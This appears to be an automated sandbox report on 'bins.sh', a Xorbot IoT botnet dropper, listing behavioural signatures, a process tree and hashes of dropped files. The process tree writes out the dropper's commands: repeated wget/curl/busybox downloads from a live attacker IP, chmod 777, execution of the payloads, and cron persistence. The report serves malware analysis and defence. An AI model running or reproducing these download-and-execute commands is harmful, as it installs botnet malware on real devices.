Analysis

  • max time kernel
    88s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/02/2025, 15:21

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250208-srkfpatmgl
  • SHA256 a6baff550de522255178f2c2db9d2dcf02e94dc172b08b83c599e6ded15a2a82
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1185) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:638
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:640
      • /usr/bin/wget
        wget http://194.85.251.8/bins/MF90EiuNhX6YkD5fLpLajL3YqnvIu614Tc
        2⤵
        • Writes file to tmp directory
        PID:642
      • /usr/bin/curl
        curl -O http://194.85.251.8/bins/MF90EiuNhX6YkD5fLpLajL3YqnvIu614Tc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:655
      • /bin/busybox
        /bin/busybox wget http://194.85.251.8/bins/MF90EiuNhX6YkD5fLpLajL3YqnvIu614Tc
        2⤵
        • Writes file to tmp directory
        PID:670
      • /bin/chmod
        chmod 777 MF90EiuNhX6YkD5fLpLajL3YqnvIu614Tc
        2⤵
        • File and Directory Permissions Modification
        PID:671
      • /tmp/MF90EiuNhX6YkD5fLpLajL3YqnvIu614Tc
        ./MF90EiuNhX6YkD5fLpLajL3YqnvIu614Tc
        2⤵
          PID:672
        • /bin/rm
          rm MF90EiuNhX6YkD5fLpLajL3YqnvIu614Tc
          2⤵
            PID:674
          • /usr/bin/wget
            wget http://194.85.251.8/bins/jSmtbiKcjnYUhCTjBICUwPy8FLjC9Zrh0s
            2⤵
            • Writes file to tmp directory
            PID:675
          • /usr/bin/curl
            curl -O http://194.85.251.8/bins/jSmtbiKcjnYUhCTjBICUwPy8FLjC9Zrh0s
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:751
          • /bin/busybox
            /bin/busybox wget http://194.85.251.8/bins/jSmtbiKcjnYUhCTjBICUwPy8FLjC9Zrh0s
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 jSmtbiKcjnYUhCTjBICUwPy8FLjC9Zrh0s
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/jSmtbiKcjnYUhCTjBICUwPy8FLjC9Zrh0s
            ./jSmtbiKcjnYUhCTjBICUwPy8FLjC9Zrh0s
            2⤵
              PID:754
            • /bin/rm
              rm jSmtbiKcjnYUhCTjBICUwPy8FLjC9Zrh0s
              2⤵
                PID:756
              • /usr/bin/wget
                wget http://194.85.251.8/bins/qvFQcmwdPW07zDsQKMr5cuezn29nwmmYC9
                2⤵
                • Writes file to tmp directory
                PID:757
              • /usr/bin/curl
                curl -O http://194.85.251.8/bins/qvFQcmwdPW07zDsQKMr5cuezn29nwmmYC9
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:758
              • /bin/busybox
                /bin/busybox wget http://194.85.251.8/bins/qvFQcmwdPW07zDsQKMr5cuezn29nwmmYC9
                2⤵
                • Writes file to tmp directory
                PID:759
              • /bin/chmod
                chmod 777 qvFQcmwdPW07zDsQKMr5cuezn29nwmmYC9
                2⤵
                • File and Directory Permissions Modification
                PID:762
              • /tmp/qvFQcmwdPW07zDsQKMr5cuezn29nwmmYC9
                ./qvFQcmwdPW07zDsQKMr5cuezn29nwmmYC9
                2⤵
                  PID:763
                • /bin/rm
                  rm qvFQcmwdPW07zDsQKMr5cuezn29nwmmYC9
                  2⤵
                    PID:765
                  • /usr/bin/wget
                    wget http://194.85.251.8/bins/xHk5nJOD3fpAZGPR12uXxw6vGPHhJb50zF
                    2⤵
                    • Writes file to tmp directory
                    PID:766
                  • /usr/bin/curl
                    curl -O http://194.85.251.8/bins/xHk5nJOD3fpAZGPR12uXxw6vGPHhJb50zF
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:767
                  • /bin/busybox
                    /bin/busybox wget http://194.85.251.8/bins/xHk5nJOD3fpAZGPR12uXxw6vGPHhJb50zF
                    2⤵
                    • Writes file to tmp directory
                    PID:768
                  • /bin/chmod
                    chmod 777 xHk5nJOD3fpAZGPR12uXxw6vGPHhJb50zF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:769
                  • /tmp/xHk5nJOD3fpAZGPR12uXxw6vGPHhJb50zF
                    ./xHk5nJOD3fpAZGPR12uXxw6vGPHhJb50zF
                    2⤵
                      PID:770
                    • /bin/rm
                      rm xHk5nJOD3fpAZGPR12uXxw6vGPHhJb50zF
                      2⤵
                        PID:772
                      • /usr/bin/wget
                        wget http://194.85.251.8/bins/vN8clQhWHfadVb2QpTNkixXNsE5meinUxd
                        2⤵
                        • Writes file to tmp directory
                        PID:773
                      • /usr/bin/curl
                        curl -O http://194.85.251.8/bins/vN8clQhWHfadVb2QpTNkixXNsE5meinUxd
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:774
                      • /bin/busybox
                        /bin/busybox wget http://194.85.251.8/bins/vN8clQhWHfadVb2QpTNkixXNsE5meinUxd
                        2⤵
                        • Writes file to tmp directory
                        PID:775
                      • /bin/chmod
                        chmod 777 vN8clQhWHfadVb2QpTNkixXNsE5meinUxd
                        2⤵
                        • File and Directory Permissions Modification
                        PID:776
                      • /tmp/vN8clQhWHfadVb2QpTNkixXNsE5meinUxd
                        ./vN8clQhWHfadVb2QpTNkixXNsE5meinUxd
                        2⤵
                          PID:777
                        • /bin/rm
                          rm vN8clQhWHfadVb2QpTNkixXNsE5meinUxd
                          2⤵
                            PID:779
                          • /usr/bin/wget
                            wget http://194.85.251.8/bins/QWUHYfVyHGMVgIIYvSWSBNkpSHzoVKkEAQ
                            2⤵
                            • Writes file to tmp directory
                            PID:780
                          • /usr/bin/curl
                            curl -O http://194.85.251.8/bins/QWUHYfVyHGMVgIIYvSWSBNkpSHzoVKkEAQ
                            2⤵
                            • Checks CPU configuration
                            • Writes file to tmp directory
                            PID:781
                          • /bin/busybox
                            /bin/busybox wget http://194.85.251.8/bins/QWUHYfVyHGMVgIIYvSWSBNkpSHzoVKkEAQ
                            2⤵
                            • Writes file to tmp directory
                            PID:782
                          • /bin/chmod
                            chmod 777 QWUHYfVyHGMVgIIYvSWSBNkpSHzoVKkEAQ
                            2⤵
                            • File and Directory Permissions Modification
                            PID:783
                          • /tmp/QWUHYfVyHGMVgIIYvSWSBNkpSHzoVKkEAQ
                            ./QWUHYfVyHGMVgIIYvSWSBNkpSHzoVKkEAQ
                            2⤵
                              PID:784
                            • /bin/rm
                              rm QWUHYfVyHGMVgIIYvSWSBNkpSHzoVKkEAQ
                              2⤵
                                PID:786
                              • /usr/bin/wget
                                wget http://194.85.251.8/bins/Lfy7ym9v1IUlySw6Tl55eyU44D7j0yumtF
                                2⤵
                                • Writes file to tmp directory
                                PID:787
                              • /usr/bin/curl
                                curl -O http://194.85.251.8/bins/Lfy7ym9v1IUlySw6Tl55eyU44D7j0yumtF
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:788
                              • /bin/busybox
                                /bin/busybox wget http://194.85.251.8/bins/Lfy7ym9v1IUlySw6Tl55eyU44D7j0yumtF
                                2⤵
                                • Writes file to tmp directory
                                PID:789
                              • /bin/chmod
                                chmod 777 Lfy7ym9v1IUlySw6Tl55eyU44D7j0yumtF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:790
                              • /tmp/Lfy7ym9v1IUlySw6Tl55eyU44D7j0yumtF
                                ./Lfy7ym9v1IUlySw6Tl55eyU44D7j0yumtF
                                2⤵
                                  PID:791
                                • /bin/rm
                                  rm Lfy7ym9v1IUlySw6Tl55eyU44D7j0yumtF
                                  2⤵
                                    PID:793
                                  • /usr/bin/wget
                                    wget http://194.85.251.8/bins/pSYAZzmh0xe5Z9tgFYlxskjAjazdEHyAhc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:794
                                  • /usr/bin/curl
                                    curl -O http://194.85.251.8/bins/pSYAZzmh0xe5Z9tgFYlxskjAjazdEHyAhc
                                    2⤵
                                    • Checks CPU configuration
                                    • Writes file to tmp directory
                                    PID:795
                                  • /bin/busybox
                                    /bin/busybox wget http://194.85.251.8/bins/pSYAZzmh0xe5Z9tgFYlxskjAjazdEHyAhc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:798
                                  • /bin/chmod
                                    chmod 777 pSYAZzmh0xe5Z9tgFYlxskjAjazdEHyAhc
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:799
                                  • /tmp/pSYAZzmh0xe5Z9tgFYlxskjAjazdEHyAhc
                                    ./pSYAZzmh0xe5Z9tgFYlxskjAjazdEHyAhc
                                    2⤵
                                    • Renames itself
                                    • Reads runtime system information
                                    PID:800
                                    • /bin/sh
                                      sh -c "crontab -l"
                                      3⤵
                                        PID:802
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                            PID:803
                                        • /bin/sh
                                          sh -c "crontab -"
                                          3⤵
                                            PID:804
                                            • /usr/bin/crontab
                                              crontab -
                                              4⤵
                                              • Creates/modifies Cron job
                                              • Reads runtime system information
                                              PID:805
                                        • /bin/rm
                                          rm pSYAZzmh0xe5Z9tgFYlxskjAjazdEHyAhc
                                          2⤵
                                            PID:807
                                          • /usr/bin/wget
                                            wget http://194.85.251.8/bins/bvPLsfeLr6pMi5YNHPudNOszNARDq96jaq
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:810

                                        Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              Lfy7ym9v1IUlySw6Tl55eyU44D7j0yumtF

                                              • Path /tmp/Lfy7ym9v1IUlySw6Tl55eyU44D7j0yumtF
                                              • Size 107KB
                                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                              • MD5 SHA1 SHA512 SSDEEP

                                              MF90EiuNhX6YkD5fLpLajL3YqnvIu614Tc

                                              • Path /tmp/MF90EiuNhX6YkD5fLpLajL3YqnvIu614Tc
                                              • Size 112KB
                                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                              • MD5 SHA1 SHA512 SSDEEP

                                              QWUHYfVyHGMVgIIYvSWSBNkpSHzoVKkEAQ

                                              • Path /tmp/QWUHYfVyHGMVgIIYvSWSBNkpSHzoVKkEAQ
                                              • Size 111KB
                                              • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                              • MD5 SHA1 SHA512 SSDEEP

                                              bvPLsfeLr6pMi5YNHPudNOszNARDq96jaq

                                              • Path /tmp/bvPLsfeLr6pMi5YNHPudNOszNARDq96jaq
                                              • Size 27KB
                                              • SHA256 6fa6d60862dff29ad1136add0c645ec634c7bc987cefb44dce22f508d73e8b6f
                                              • MD5 SHA1 SHA512 SSDEEP

                                              jSmtbiKcjnYUhCTjBICUwPy8FLjC9Zrh0s

                                              • Path /tmp/jSmtbiKcjnYUhCTjBICUwPy8FLjC9Zrh0s
                                              • Size 98KB
                                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                              • MD5 SHA1 SHA512 SSDEEP

                                              pSYAZzmh0xe5Z9tgFYlxskjAjazdEHyAhc

                                              • Path /tmp/pSYAZzmh0xe5Z9tgFYlxskjAjazdEHyAhc
                                              • Size 177KB
                                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                              • MD5 SHA1 SHA512 SSDEEP

                                              qvFQcmwdPW07zDsQKMr5cuezn29nwmmYC9

                                              • Path /tmp/qvFQcmwdPW07zDsQKMr5cuezn29nwmmYC9
                                              • Size 151KB
                                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                              • MD5 SHA1 SHA512 SSDEEP

                                              vN8clQhWHfadVb2QpTNkixXNsE5meinUxd

                                              • Path /tmp/vN8clQhWHfadVb2QpTNkixXNsE5meinUxd
                                              • Size 111KB
                                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                              • MD5 SHA1 SHA512 SSDEEP

                                              xHk5nJOD3fpAZGPR12uXxw6vGPHhJb50zF

                                              • Path /tmp/xHk5nJOD3fpAZGPR12uXxw6vGPHhJb50zF
                                              • Size 151KB
                                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                              • MD5 SHA1 SHA512 SSDEEP

                                              tmp.cuYURA

                                              • Path /var/spool/cron/crontabs/tmp.cuYURA
                                              • Size 210B
                                              • SHA256 9f02030242533b4648f6f0b98b71a3b7de3b0203e5e2a2df72a725d25aa1c57f
                                              • MD5 SHA1 SHA512